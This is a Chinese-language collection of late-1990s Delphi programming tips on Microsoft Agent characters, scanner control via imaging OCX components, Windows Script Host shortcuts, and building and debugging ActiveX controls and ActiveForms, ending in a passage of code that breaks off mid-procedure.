Office助手只允许Office 97的各个组件调用，Agent动画人物可由任何Windows程序调用；

Agent支持文字气球和输入提示条，在输出语音的同时把文字输出至一个卡通式文字气球中。如果电脑系统中安装有Agent语音识别引擎，当用户按住输入键，如Scroll Lock键，在Agent人物下方出现一个输入命令窗口，表示它正在“聆听”用户的语音命令。

Agent提供Genie、Merlin、Bobby和Peedy等动画人物，不仅具有优美诙谐的动作，而且可以通过声卡、麦克风与用户交谈。

二、 Microsoft Agent安装方法

---- Agent是一种ActiveX控件，其服务器程序（C:\WINDOWS\MSAGENT\Agentsvr.exe）运行在Win95/98/NT操作平台上，为其它调用Agent的客户程序提供服务。客户程序可以是利用VB、C++、Delphi、VFP、PB等开发的应用软件，也可以是HTML文件中的Visual Script、Java Script脚本语言代码。

安装Agent核心组件Msagent.exe。

安装Lernout & Hauspie TruVoice Text-to-Speech Engine（完成从文字合成语音的工作，目前版本只支持英语）Cgram.exe。

安装Microsoft Command and Control Speech Engine（提供语音识别功能，目前版本只支持英语）Actcnc.exe。

Agent动画人物人物数据文件。Agent支持单结构角色文件（.acs，角色数据与动画数据存于同一个文件），也支持分离结构角色文件（.acf，角色数据存于.acf中，动画数据存于.aca中）。基于本地硬盘和网络的应用程序可采用.acs文件，基于Web页面的HTML文件在浏览器中访问时会自动调用，习惯上多使用.acs文件。

---- 上述文件可从 http://www.microsoft.com//workshop/imedia/agent/default.asp下载。

三、 Microsoft Agent编程要点

---- 1、 在Delphi中添加Agent控件

---- 在Delphi IDE中选择菜单Component，Import ActiveX Control——在Import ActiveX下的列表框中选择Microsoft Agent Control 2.0（Version 2.0），点击按钮Install——在Install对话框中点击按钮OK——在Confirm对话框中点击按钮Yes——在对话框中点击按钮OK。至此，Agent控件被添加到Delphi组件板ActiveX页上。

---- 2、 在Delphi中调用Agent控件

---- ⑴、在Delphi IDE 中新建Project1（包含Form1），在Form1上放置Agent1（Name属性为MyAgent）、Button1。

---- ⑵、定义变量。

Var

Peedy: IagentCtlCharacterEx;

Request1,Request2: IagentCtlRequest;

---- ⑶Agent主要属性、方法、事件。

---- ①Characters属性与Load、Unload方法：初始化Agent，加载动画数据，卸载动画人物

---- Request1 := MyAgent.Characters.Load( 'Peedy', 'C:\Windows\System\Peedy.acs' );

---- Peedy := MyAgent.Characters.Character( 'Peedy' );

---- MyAgent.Characters.Unload('Peedy');

---- ②Show与Hide方法：显示、隐藏Agent动画人物。参数Fast表示动画人物显示、隐藏的速度。Fast为0表示Agent飞入、飞出，Fast为1表示Agent直接出现、消失，没有动画过程。

---- Peedy.Show(0);

---- Peedy.Hide(1);

---- ③StopAll、Stop方法：停止所有动作。

---- Peedy.StopAll('');

---- Peedy.Stop(Request);

---- ④Connected属性：Agent是否与Microsoft Agent服务器连接。

---- MyAgent.Connected := True;

---- ⑤Get_Height、Get_Width、Set_Height、Set_Width方法：获得、设置Agent动画人物的高度、宽度。

AgentHight := Peedy.Get_Height;

AgentWidth := Peedy.Get_Width;

Peedy.Set_Height( round(AgentHeight / 2 ));

Peedy.Set_Width( round( AgentWidth / 2 ));

---- ⑥MoveTo方法：参数x，y表示Agent动画人物移动到的坐标，参数Speed表示移动的速度。

---- Peedy.MoveTo( (Screen.Width-Peedy.Get_Width) Div 2, (Screen.Height-Peedy.Get_Height) Div 2, 2 );

---- ⑦Interrupt方法：中断指定角色的动画。在几十种动画动作中，有一类后缀名为“ing” 的动作比较特殊，如“processing”、“searching”、“reading”、“writing”，一旦执行就必须通过调用另外一个动画人物的Interrupt方法才能中断 。角色不能中断自身的动作，否则会导致异常。

Request1 := Robby.Play('reading');

Peedy.Interrupt(Request1);

---- ⑧Wait方法：在多个不同动画人物之间协调动画动作，如等待sRobby的当前动作执行完毕后，Peedy做另外一个动作。

Request1 := Robby.Play('read');

Peedy.Wait(Request1);

Peedy.Play('search');

---- ⑨Play方法：执行指定的动画动作，参数Animation为一常量，表示动画类型。Agent提供了几十种预定义动作，开发软件时只需直接调用这些常量即可。下面简要介绍其中常用的一些常量仅供编程参考。

---- 动作类型 中文含意 动作类型 中文含意 动作类型 中文含意

Acknowledge 承认 LookDown 向下看 Sad 悲伤

Alert 警告 LookDownBlink 向下看眨眼 Search 寻找

Announce 声明 LookUp 向上看 StartListening 开始聆听

Blink 眨眼 LookUpBlink 向下看眨眼 StopListening 停止聆听

Confused 迷惑 LookLeft 向左看 Suggest 建议

Congratulate 祝贺 LookLeftBlink 向左看眨眼 Surprised 吃惊

Decline 拒绝 LookRight 向右看 Think 思考

DontRecognize 不承认 LookRightBlink 向右看眨眼 Wave 挥动

Explain 解释 MoveDown 向下移动 Write 书写

GestureDown 向下姿势 MoveUp 向上移动 Processing 计算……

GestureUp 向上姿势 MoveRight 向右移动 Reading 阅读……

GestureLeft 向左姿势 MoveLeft 向左移动 Searching 寻找……

GestureRight 向右姿势 Pleased 高兴 Writing 书写……

GetAttention 获得注意 Read 阅读 Greet

问候 RestPose 恢复初始状态

Request := peedy.Play('search');

---- ⑩Speak方法：Agent通过调用语音合成引擎，支持英语的语音合成输出功能，只需输入英文字符串，Agent就能通过声卡、音箱“说话”。Agent的当前版本尚不具备支持中文语音合成功能，所以只能以.wav文件的形式播放中文。使用时可以将想要说的中文句子预先录好，以.wav形式存储，在程序中调用即可。参数Text表示文字气球中显示的文字，参数url表示.wav文件的路径。

---- Peedy.speak('嗨，朋友们，你们好，现在由我为您提供帮助！','C:\新建文件夹\Help.wav');

---- Peedy.Speak( 'Do you like my help? If so, Please send me an email! Thank you!', '' );

---- ⑾Commands.Add方法：在Button1Click事件中为Agent添加自定义语音识别命令，参数const Name表示语音命令的标识，参数Caption表示该命令在输入命令窗口中的显示标题，参数Voice表示该命令对应的语句。当用户通过麦克风向动画人物发出语音命令时，触发Agent的Command事件，因此我们可以另外编写一个过程完成语音识别功能。

procedure TForm1.Button1Click(Sender: TObject);

begin

Peedy.Commands.Add('Delphi','Run

Delphi','Delphi',True,True);

Peedy.Commands.Add('Visual Basic','

Run VB','VB',True,True);

Peedy.Show(0);

Peedy.Speak('What can I do for you, sir?','');

end;

---- ⑷、按F9运行程序。以上程序在Delphi3.0/4.0、Windows95/98/NT简体中文版环境下调试通过。


利用COM实现扫描功能

首先点菜单 Project|Import Type library 然后引入Kodak Image Scan Control。

代码如下：

{ Imgscan: TImgScan}

//检查是否安装了扫描仪器

If Imgscan.ScannerAvailable then

try

Imgscan.OpenScanner ;

//保存为文件

ImgScan.ScanTo := 2;

//图像将被保存

Imgscan.Image:=stFName;

to this destination

Imgscan.StartScan ;

Application.ProcessMessages;

finally

Imgscan.CloseScanner ;

end

else

exit;

更多的关于Imageing Control的属性、方法、事件的信息可以从imgocxd.hlp中获得。

在Delphi中控制扫描仪

---- 在利用Delphi开发信息管理系统时，常常要处理图象，这也是信息管理系统发展的必然趋势。怎样在Delphi中通过扫描仪获得所需的图象信息呢？不外乎有三种基本的方法：

  1. 通过图象处理软件，比如说Photoshop等，通过它们的扫描图象的功能，加工成一定格式的图象后再在自己的系统中利用；

  2. 通过扫描仪接口Twain.DLL 。该接口是在安装扫描仪时提供的，它实际上是一个Plugin插件，它通过一系列函数来控制扫描仪；
  3. 通过构件技术来控制扫描仪。

---- 利用第一种方法能减少编程的复杂度，但是系统的集成度不高，用户使用上也不方便；第二种方法能在驱动程序级直接控制扫描仪，能在编程上提供最大的灵活性和可控性；第三种方法能充分利用Delphi的可视化构件技术，安全、灵活、自由地利用扫描仪。其实第三种方法也是建立在扫描仪接口Twain.DLL之上的。本文论述的方法就采用第三种。

---- Windows9X在其附件中提供了“映象”可选件，该附件是采用OCX构件来控制扫描仪的，共有imgEdit、imgAnntool、imgScan、imgAdmin 四个，有这四个构件基本上就能完全控制扫描仪。在Delphi中的用法如下：

  1. 在Windows9x中选择安装“映象”。（在控制面板中选择“添加/删除程序”，再选择“安装Windows”，点击“附件”复选框，然后从“详细资料”按钮中可以找到“映象”）

  2. 启动Delphi，选择“Component”菜单项下的“Import ActiveX Control”，这时可以看到列表中有“Wang 图象编辑控制、Wang 图象扫描控制、Wang 图象管理控制、Wang 图象缩略图控制”，选中这四项，然后点击“Install”按钮，这时在构件面板上的ActiveX舌标下就可以看到这四个构件的图标。

---- ImgScan 的主要属性：FileType：图象的文件类型（该构件支持三种：TIFF，BMP，AWD）；

ScanTo：返回或设置被扫描图象的目的；
可取值            含义
0  (缺省)     显示被扫描的图象.
1         显示被扫描的图象并写入一个文件.
2         把图象写入一个文件
3         以模板方式把图象写入文件并显示.
4.        以模板方式把图象写入文件
5         传真被扫描的图象
注意：如果取缺省值0，
必须和 Wang ImgEdit 构件配合使用。
 DestImageControl：Wang ImgEdit构件名；
Zoom：图象的放缩比例

ImgScan 的主要方法：OpenScanner ：打开扫描仪；
CloseScanner ：关闭扫描仪；
StartScan ： 开始扫描；
StopScan ：  停止扫描

---- ImgEdit 的属性主要是控制扫描图象的分辨率、图象的宽高、是否允许对图象进行局部选 择等；其方法主要有拷贝、剪切图象到粘贴板，从粘贴板复制图象，旋转、放缩、 镜象图象；打印、保存、刷新图象等。

---- 关于上述四个OCX构件的详细使用说明可在Delphi中查看其自带的帮助系统。

---- 下面是使用这两个构件的一些例子：

procedure Tscanf.N1Click(Sender: TObject);
begin
ImgScan1.ShowSelectScanner;
//选择系统中已安装的扫描仪
end;

procedure Tscanf.N2Click(Sender: TObject);
begin
    imgedit1.zoom:=100;  //设置图象的放缩因子
    if  not imgscan1.ScannerAvailable then
  //如果选择的扫描仪不可用
       imgscan1.OpenScanner;//打开扫描仪
       imgscan1.StartScan; //开始扫描图象
       imgscan1.CloseScanner; //关闭扫描仪
end;

procedure Tscanf.N8Click(Sender: TObject);
begin
if (imgedit1.IsClipboardDataAvailable
and imgedit1.ImageDisplayed ) then
   imgedit1.ClipboardPaste(selleft,seltop);
//从剪贴板粘贴图象，其参数为Imgedit的显示区域的起始坐标
end;

procedure Tscanf.N1801Click(Sender: TObject);
begin
 if imgedit1.ImageDisplayed then
   imgedit1.Flip;        //镜象图象
 end;

procedure Tscanf.N901Click(Sender: TObject);
begin
if imgedit1.ImageDisplayed then
imgedit1.RotateRight    //向右旋转图象
end;
procedure Tscanf.N6Click(Sender: TObject);
begin
 imgedit1.DrawSelectionRect(selleft,
seltop,selwidth,selheight);//进行图象局部选择
 imgedit1.ClipboardCut(selleft,seltop,
selwidth,selheight);//剪切所选区域
end;

---- 注意：在DELPHI中使用Imgedit构件的拷贝和剪切功能时，会出现以下问题：

---- 1、 如果把整幅图象都选中，没有任何问题；

---- 2、 如果选择了局部区域，则拷贝和剪切的区域会发生漂移；

---- 3、 如果DELPHI做的是MS SQL后端数据库的客户端界面，那么在把图象内容写入数据库的图象字段中时，BDE（数据库引擎）会报错。这是DELPHI3。0和4。0的BUG，4。0的升级包可以解决这个问题。

---- 至于第二个问题，可这样解决：在Imgedit的onSelectionRectDrawn事件中写一段代码，把选择区域的边界值保存到四个全局变量中，在拷贝和剪切之前用先前保存的变量再进行一次选择即可（当然，这一切都在后台进行的，见前面的例子）。

附源代码。


使用windows脚本对象

在Delphi我们可以通过前期编译或后期绑定来调用windows script host.如果引入类型库，可以获得两个新的对象，很容易使用。下面是利用后期绑定的自动化实现创建一个快捷方式并把它放到桌面上的例子：

procedure CreateShortcut( sName,sPath:string);

var

objShortcut, objShell :variant;

strDesk:string;

begin

objShell:= CreateOleObject('Wscript.Shell');

strDesk:= objShell.SpecialFolders.Item('Desktop');

objShortcut:= objShell.CreateShortcut(strDesk +'\'+ sName +'.lnk');

objShortcut.Targetpath:= sPath;

objShortcut.Save;

objShell:=UnAssigned;

objShortcut:=UnAssigned;

end;

把'.lnk'后缀变成'.url'后缀会生成一个Internet快捷方式。如果使用'mailto:: '而不是'http://:'作为内容，会生成一个mail的快捷方式，我们还可以添加'&subject='和'&body='在内容字符串中，会调用mail程序自动生成一个带主题和内容的邮件模板。同时外壳对象的Run方法可以执行任何程序，比如Shell.Run('Calc')可以用来调用计算器。Shell.popup可以在屏幕上显示信息。

Windows脚本对象另一个重要的应用方面是网络。下面的例子用它来获得网络信息：

function ShowNetwork:string;

var

ObjNetwork :variant;

begin

ObjNetwork:= CreateOleObject('Wscript.Network');

Result:= '用户域 : ' + ObjNetwork.UserDomain + #10 +#13 + '用户名 :

' +

ObjNetwork.UserName + #10 +#13 + '计算机名称 : ' +

ObjNetwork.ComputerName ;

ObjNetwork:=UnAssigned;

end;

要注意的是并不是所有的系统都安装了windows script host对象，因为在系统安装时这是一个可选项，比如我的win98上就没有装，只在NT 4.0上安装了。


创建可以插入Office的ActiveX控件

在微软的Word里选择插入菜单，然后点击对象，会显示一个可以"插入"的控件的列表,然后我们就可以选择可以插入的ActiveX控件了，但有一个问题在这个列表中我们无法找到用Delphi编写的ActiveX控件。这是为什么呐？

究其原因是，用Delphi创建的ActiveX控件少注册了一个注册表项，而且类型库编辑器也没有提供一个选项允许我们改变ActiveX的属性，我们需要添加的这个注册表的键值处在注册表的HKEY_CLASSES_ROOT中ActiveX的类标示符部分。 就象下面

HKEY_CLASSES_ROOT->YourControl.TheClass->Insertable

最笨的办法是使用RegEdit来编辑注册表，更好的办法是通过程序来自动生成。

1. 打开包含ActiveX控件的实现单元。

2. 添加Uses Registry,Windows,….

3. 修改INITIALIZATION（初始化部分）添加类似下面的函数

procedure MoreKeys;

const

C_KEY: String = 'YourControl.TheClass'; // 你的控制标示符

var

oReg: TRegistry;

begin

oReg := TRegistry.Create;

try

oReg.OpenKey(HKEY_CLASSES_ROOT);

oReg.OpenKey(C_Key + '\Insertable',True);

finally

oReg.CloseKey;

oReg.Free;

end;

end;

initialization

TActiveFormFactory.Create(

ComServer,

TActiveFormControl,

... );

MoreKeys;

End.

一切OK了


创建运行时不可见的ActiveX控件

我们经常需要创建不可见的ActiveX控制来实现某些非交互式的功能，就象Visual Basic里的时间控制，和图像列表控制一样。那么我们如何才能做到呐？

其实很简单，在每一个ActiveForm实现单元的底部都有一个初始化部分

initialization

TActiveFormFactory.Create(

ComServer,

TActiveFormControl,

TActiveFormX,

Class_ActiveFormX,

1,

'',

OLEMISC_SIMPLEFRAME or OLEMISC_ACTSLIKELABEL,

tmApartment);

第七个参数是MiscStatus, 这个参数告诉容器控件的缺省行为，也就是我们需要改变的部分。我们需要的标志是OLEMISC_INVISIBLEATRUNTIME。修改后的初始化部分是

TActiveFormFactory.Create(

ComServer,

TActiveFormControl,

TActiveFormX,

Class_ActiveFormX,

1,

'',

OLEMISC_INVISIBLEATRUNTIME or OLEMISC_ACTSLIKELABEL,

tmApartment);

你会注意到我用OLEMISC_INVISIBLEATRUNTIME替换了OLEMISC_SIMPLEFRAME OLEMISC_SIMPLEFRAME 表示可以容纳其他的控制，就好像一个容器，对于不可见控制大多数情况下是不需要的。


1

Delphi开发ActiveX控件之一步到位

原文：Ray Konopka 翻译：陈省

Delphi ActiveX 框架

Delphi ActiveX 框架(DAX)使我们能够很容易的通过转换向导从Delphi本身的控件（VCL）出发创建ActiveX，而不需要你具备很多的COM知识，生成的ActiveX可以应用在VC、 VB等不同的开发环境中，避免重复开发，实现真正的代码重用。

创建ActiveX涉及到生成一个VCL的COM封装，封装类继承于TActiveXControl 实现了一个对Delphi控件的引用参考。Delphi的VCL控件要想能够转换为ActiveX控件，必须是继承于TWinControl。这是因为COM封装和VCL控件之间的通讯需要一个窗口句柄，只有TWincontrol的子类才有句柄。

封装类通过属性和方法向其他的对象公开了Delphi控件的功能。同时它也负责创建管理和销毁嵌入的VCL控件。COM封装类通常还负责响应控件产生的事件，并提交给ActiveX 控件容器。

听起来好像有点复杂，幸好Delphi提供了ActiveX控件向导可以极大的简化过程让我们把一个最常见的TListBox控件转化成ActiveX。首先选File|New|ActiveX页,如下图。

然后选择ActiveX Control项，显示一个对话框，第一步是选则VCL的类名，VCL类名下拉框中列出了全部TWinControl的子类（不包括使用RegisterNonActiveX函数注册的控件）从列表我们可以看到TListBox，但你找不到TLable，因为TLabel继承于TGraphicControl,当然象那种TTimer的非可视控件更是没有了。如下图所示：

当我们选好了类名，向导会自动给其他编辑框添上缺省值。这里我们使用它的缺省值，同时选中ActiveX Control Options的三个选项，然后点OK 。

ActiveX 控制选项

上图显示了全部可以选的ActiveX控制选项，Include Design-Time License选项表明设计时许可证将被创建，除非用户有许可证，否则它可以防止控件在设计环境中被非法使用，。如果选择了这个选项，向导会产生一个LIC文件，里面包含了许可证信息。用户必须有这个.LIC文件才能在开发环境中使用相应的ActiveX控件。Include Version Information选项使你可以在项目中添加象版权说明、版本号等版本信息。具体版本信息的设定可以在创建好项目后，选Project|Options然后切换到Version-Info页来进行。(注意： 尽管版本信息是一个可选的选项，但如果你打算在Visual Basic 4.0及以上中使用Delphi生成的ActiveX控件，你必须选定它)。Include About Box选项表明你是否为ActiveX控件创建一个关于对话框。关于对话框是一个独立的窗体单元，你可以编辑它来显示你需要的版本信息或其他信息。关于信息是通过在开发环境中点击About 属性来调用的。

生成单元文件

一切设定好后，点OK按钮。向导首先创建一个ActiveX Library 项目。接着创建一个实现单元，来实现原生的Delphi控件的COM封装。封装类是TActiveXControl一个简单的子类，然后是类型库和类型库接口单元（类型库实际上是一个二进制文件里面定义数据类型、接口、方法以及ActiveX Library要公开的对象。类型库接口单元包含了对应于类型库中的信息Pascal的声明）。最后是许可证文件，关于对话框和源码文件。

编译和注册ActiveX控制

现在我们可以编译ActiveX Library 项目来生成包含ActiveX控件的OCX文件。我们可以直接调用Run|Register Sever来注册ActiveX Sever。然而在做之前，我建议保存全部的项目文件。如果你没有先保存项目文件，那么储存在注册表中的路径就是你当前的路径而不一定是你的项目的真正路径。

注册后我们就可以在Visual Basic等程序中使用Delphi生成的ActiveX控件了，如下图示意：

ActiveX 转换过程中的问题

虽然ListBoxX控件使我们能在Visual Basic中使用TListBox很多功能。但ListBoxX控件并没有实现TListBox的全部功能。比如，TListBox的OnDrawItem的事件定义在ListBoxX中是找不到的。回想一下在Delphi里我们经常使用OnDrawItem事件来支持用户自绘画功能。没有了这个事件，ActiveX版本的ListBox就无法支持这一特性即使Style属性设定为lsOwnerDrawFixed。

要理解为什么这个事件没有出现在ActiveX中，我们需要研究一下事件类型，特别是要研究一下传递给事件的参数类型。OnDrawItem声明为TDrawItemEvent类型,定义如下:

TDrawItemEvent = procedure( Control: TWinControl;

Index: Integer; Rect: TRect;

State: TOwnerDrawState) of object;

我们看到OnDrawItem 事件处理函数接受4个参数。其中第三个参数阻止了事件出现在ActiveX Control中。因为OLE自动化不知道如何整理（marshall）TRect类型的数据。

原因在于ActiveX 控制实际上是小型的OLE自动化服务器。包含 ActiveX控件的ActiveX 容器使用自动化来和控件通讯。因此要想使一个属性、方法或事件出现在ActiveX版本的控制中，全部参数和返回类型必须是自动化兼容的。表1列出了全部的兼容类型。

虽然在这个表中我们没有列出但ActiveX转换向导还可以正确处理TColor, TFont, TPicture, and TStrings属性。Color 属性可以很容易转换因为它实际上就是一个整数类型。然而对于其他属性类型，Delphi提供了一个定制的接口来处理对应的Delphi属性。比如,IStrings 接口提供了处理TStrings属性的途径。

同时，一个属性是自动化兼容的并不意味着它就一定会出现在ActiveX 控件中，向导不会转化对ActiveX无意义的属性、方法或事件。下列属性就没有被转化，比如：Height, HelpContext, Hint, Left, Name, ParentFont, ParentShowHint, PopupMenu, ShowHint, TabOrder, Tag, Top, and Width等。

此外，有两种特殊类型的属性向导也不会转化。对象引用和数据明了属性。对象引用（就是指Delphi的某个属性对应于一个对象，比如TTable的Datasource实际上是引用了另外一个对象TDataSource）在Delphi里是通过指针来实现的因此是自动化不兼容的。此外， ActiveX本身也没有提供一个标准的方式来使一个控件同容器中的其他控件相关联。而数据明了属性DataSource和DataField没有被映射到ActiveX控件中去是因为Delphi实现的数据明了采用了完全不同于ActiveX 的机制。当然如果非常想利用Delphi中好用的数据库控件，这也是可以的，但需要一些额外的工作，这已经超出了本文的范围，将不在这里介绍。必须指出的是ActiveX的数据控件和Delphi的数据控件是不一样的。这也就是为什么没有一个Delphi的数据明了控件出现在ActiveX转换向导的类名列表中的缘故。

正确的转换的关键

到目前为止ListBoxX其他特性都没问题，我们也可以把Style变成lsOwnerDrawFixed, 但是没有OnDrawItem事件我们无法改变它的外观显示。让我们试一种不同的方法，这就是定义一个自动化兼容的接口来实现自绘画的外观（Owner-Draw）.例如我们可以创建一个新的事件OnColorItem使我们能改变每一个列表项的颜色。

添加新事件

添加新的事件到ActiveX中需要修改类型库中的信息，可以有两种方法：通过选择 Edit|Add To Interface 菜单或用内置的类型库编辑器都可以，Edit|Add To Interface 菜单只有当当前文件为实现单元时才能使用。如下图所示：

上图显示了OnColorItem 是如何加入到IListBoxXEvents 接口中的。定义一个ActiveX接口的新事件同Delphi中有点不同。不象Delphi中那样给事件声明一个属性类比如TNotifyEvent, 你必须写一个将会传递给事件处理函数的带参数的过程。类似于写一个控件中的事件分配方法。OnColorItem事件定义如下:

procedure OnColorItem(Index: Integer; var Color: Integer );

点OK按钮，Delphi 就把这个声明加入了类型库。这使得我们可以给OnColorItem事件写处理函数了。但是在这之前, 我们还必须实现产生事件的代码，这有点类似于在Delphi控件中定义新的事件。生成事件属性和事件分配方法仅仅是一部分工作。我们还必须在合适的时间调用事件分配方法来产生事件。最好的产生OnColorItem事件的位置就是在Delphi控件的OnDrawItem事件中，实现的方法见源码清单1。

TListBoxX 封装类定义了一个事件处理函数DrawItemEvent 来对嵌入的ListBox的OnDrawIem事件来响应，DrawItemEvent函数在InitializeControl方法中进行初始化。同时DrawItemEvent函数负责产生OnColorItem事件。为了产生事件，要使用FEvents接口来激发OnColorItem事件过程。Index参数来自于DrawItemEvent参数列表,而Color参数是在DrawItemEvent里定义的。当OnColorItem 事件返回时, ItemColor 变量将包括缺省的颜色或用户定义的颜色。然后ItemColor变量就被用来画列表项。如下图所示：

上图显示了ListBoxX控件在VB中的运行状况。虽然ActiveX不可能象在Delphi可以随意引用Canvas来画图，但是这个例子证明了利用ActiveX控件的灵活性，我们还是可以作一些有趣的效果。

正如我们在上面这个例子中看到的，实际上把Delphi控件转化为ActiveX控件并不是很容易，这是由于我们转换的是一个现成的Delphi控件，特别是这个控件使用了某些VCL的高级特性。从这个方面来说，Active控制框架不如VCL灵活，然而ActiveX是一个公认的标准，可以在除了Delphi外的其他环境中使用，牺牲灵活性意味着获得了广泛性。

结论

如果你想从头开始创建一个ActiveX控件，首先你的控件必须从TWincontrol开始继承，如果想要提供自绘画的功能，必须从TCustomControl开始。另外，应该使用自动化兼容的数据类型来定义属性、方法、参数。如果你想转换一个已有的VCL控件变成ActiveX，注意一定要改变参数类型，否则方法，属性等等是不会被转换的。

源码清单1 - ListBoxImpl.pas

unit ListBoxImpl;

interface

uses

  Windows, ActiveX, Classes, Controls, Graphics, Menus, Forms,

  StdCtrls, ComServ, StdVCL, AXCtrls, DelphiByDesignXLib_TLB;

type

  TListBoxX = class(TActiveXControl, IListBoxX)

  private

    { Private declarations }

    FDelphiControl: TListBox;

    FEvents: IListBoxXEvents;

    procedure ClickEvent(Sender: TObject);

    procedure DblClickEvent(Sender: TObject);

    procedure KeyPressEvent(Sender: TObject; var Key: Char);

    // Add a custom event handler for the OnDrawItem event

    procedure DrawItemEvent( Control: TWinControl; Index: Integer;

                             Rect: TRect; State: TOwnerDrawState );

  protected

    { Protected declarations }

    procedure InitializeControl; override;

    procedure EventSinkChanged(const EventSink: IUnknown); override;

    procedure DefinePropertyPages(

      DefinePropertyPage: TDefinePropertyPage); override;

    function Get_BorderStyle: TxBorderStyle; safecall;

    function Get_Color: TColor; safecall;

    function Get_Columns: Integer; safecall;

    function Get_Ctl3D: WordBool; safecall;

    function Get_Cursor: Smallint; safecall;

    function Get_DragCursor: Smallint; safecall;

    function Get_DragMode: TxDragMode; safecall;

    function Get_Enabled: WordBool; safecall;

    function Get_ExtendedSelect: WordBool; safecall;

    function Get_Font: Font; safecall;

    function Get_ImeMode: TxImeMode; safecall;

    function Get_ImeName: WideString; safecall;

    function Get_IntegralHeight: WordBool; safecall;

    function Get_ItemHeight: Integer; safecall;

    function Get_ItemIndex: Integer; safecall;

    function Get_Items: IStrings; safecall;

    function Get_MultiSelect: WordBool; safecall;

    function Get_ParentColor: WordBool; safecall;

    function Get_ParentCtl3D: WordBool; safecall;

    function Get_SelCount: Integer; safecall;

    function Get_Sorted: WordBool; safecall;

    function Get_Style: TxListBoxStyle; safecall;

    function Get_TabWidth: Integer; safecall;

    function Get_TopIndex: Integer; safecall;

    function Get_Visible: WordBool; safecall;

    procedure AboutBox; safecall;

    procedure Clear; safecall;

    procedure Set_BorderStyle(Value: TxBorderStyle); safecall;

    procedure Set_Color(Value: TColor); safecall;

    procedure Set_Columns(Value: Integer); safecall;

    procedure Set_Ctl3D(Value: WordBool); safecall;

    procedure Set_Cursor(Value: Smallint); safecall;

    procedure Set_DragCursor(Value: Smallint); safecall;

    procedure Set_DragMode(Value: TxDragMode); safecall;

    procedure Set_Enabled(Value: WordBool); safecall;

    procedure Set_ExtendedSelect(Value: WordBool); safecall;

    procedure Set_Font(const Value: Font); safecall;

    procedure Set_ImeMode(Value: TxImeMode); safecall;

    procedure Set_ImeName(const Value: WideString); safecall;

    procedure Set_IntegralHeight(Value: WordBool); safecall;

    procedure Set_ItemHeight(Value: Integer); safecall;

    procedure Set_ItemIndex(Value: Integer); safecall;

    procedure Set_Items(const Value: IStrings); safecall;

    procedure Set_MultiSelect(Value: WordBool); safecall;

    procedure Set_ParentColor(Value: WordBool); safecall;

    procedure Set_ParentCtl3D(Value: WordBool); safecall;

    procedure Set_Sorted(Value: WordBool); safecall;

    procedure Set_Style(Value: TxListBoxStyle); safecall;

    procedure Set_TabWidth(Value: Integer); safecall;

    procedure Set_TopIndex(Value: Integer); safecall;

    procedure Set_Visible(Value: WordBool); safecall;

  end;

implementation

uses AboutListBox;

{ TListBoxX }

procedure TListBoxX.InitializeControl;

begin

  FDelphiControl := Control as TListBox;

  FDelphiControl.OnClick := ClickEvent;

  FDelphiControl.OnDblClick := DblClickEvent;

  FDelphiControl.OnKeyPress := KeyPressEvent;

  //添加一个定制的事件来处理OnDrawItem事件

  FDelphiControl.OnDrawItem := DrawItemEvent;

end;

procedure TListBoxX.EventSinkChanged(const EventSink: IUnknown);

begin

  FEvents := EventSink as IListBoxXEvents;

end;

function TListBoxX.Get_Enabled: WordBool;

begin

  Result := FDelphiControl.Enabled;

end;

procedure TListBoxX.Set_Enabled(Value: WordBool);

begin

  FDelphiControl.Enabled := Value;

end;

procedure TListBoxX.DrawItemEvent( Control: TWinControl;

  Index: Integer; Rect: TRect; State: TOwnerDrawState );

var

  ItemColor: Integer;

begin

  ItemColor := Integer(FDelphiControl.Font.Color);

  //产生OnColorItem ActiveX事件

  if FEvents <> nil then

    FEvents.OnColorItem( Index, ItemColor );

  //用ItemColor画列表项

  with FDelphiControl do

  begin

    if not ( odSelected in State ) then

      Canvas.Font.Color := ItemColor;

    Canvas.TextRect(Rect, Rect.Left + 2, Rect.Top, Items[Index]);

    Canvas.Font.Color := FDelphiControl.Font.Color;

  end;

end;

initialization

  TActiveXControlFactory.Create(

    ComServer,

    TListBoxX,

    TListBox,

    Class_ListBoxX,

    1,

    '{B19A64E4-644D-11D1-AE4B-444553540000}',

    0);

end.


调试ActiveForm

常在Delphi里面Debug程序，我们只需要按下 F5 ，就可以设置和取消断点，这样能够一步一步地调试程序，发现程序中存在的问题。

但是当我们开发基于 Internet Explorer 浏览器的ActiveForm的时候，调试就成了一个大问题，因为Delphi无法控制 IE。那么说，Delphi就不能调试基于IE的 ActiveForm 了吗？ 事实上并不是这样，只要通过对ActiveForm的项目工程进行一些设定，你会发现调试一个ActiveForm也是很简单的。

步骤如下：

创建一个 ActiveForm的工程。
填写 Project | Web Deployment Options 对话框
Target Dir 和 HTML Dir 填入同的路径，例如 “c:\activex”
Target URL 填入 ActiveForm 所在的 Web 路径
如果你希望浏览器能够自动更新你的 ActiveForm，请选取 “Include file Version Number”和 “Auto Increment Release Number”
因为IE浏览器是ActiveForm的宿主（Host），所以我们通过Delphi IDE里面的 Run | Parameters 对话框。在 Host Application 中 填写 IE 的可执行文件的名称。在 Parameters 中填写 调用 ActiveForm 的HTML文件的名称。两个参数都是必须填写完整的路径名。
在IE装载 ActiveForm 的过程中，它会把 ActiveForm 拷贝到一个缓冲文件夹中执行它，而不是我们开头已经设定好了的ActiveForm的分发路径，这个缓冲文件夹通常是诸如“Downloaded Program Files”等等，所以我们只要把工程的执行文件输出路径设置成为这个路径就可以了。这样Delphi就知道Debug哪一个ActiveForm。


ActiveForm失去焦点问题的解决

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, OleCtrls, SHDocVw_TLB,ActiveX;

type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
WebBrowser1: TWebBrowser;
procedure Button1Click(Sender: TObject);
procedure FormActivate(Sender: TObject);
procedure FormDeactivate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
procedure MyMessageHandler(var Msg: TMsg; var Handled: Boolean);

{ Public declarations }
end;

var
Form1: TForm1;
FOleInPlaceActiveObject: IOleInPlaceActiveObject;
SaveMessageHandler: TMessageEvent;

implementation

{$R *.DFM}

procedure TForm1.MyMessageHandler(var Msg: TMsg; var Handled: Boolean);
var
iOIPAO: IOleInPlaceActiveObject;
Dispatch:
IDispatch;
begin
{ exit if we don't get back a webbrowser object
}
if WebBrowser1 = nil then
begin
Handled := False;
Exit;
end;

Handled:=(IsDialogMessage(WebBrowser1.Handle, Msg) = True);

if (Handled) and (not WebBrowser1.Busy) then
begin
if FOleInPlaceActiveObject = nil then
begin
Dispatch := WebBrowser1.Application_;
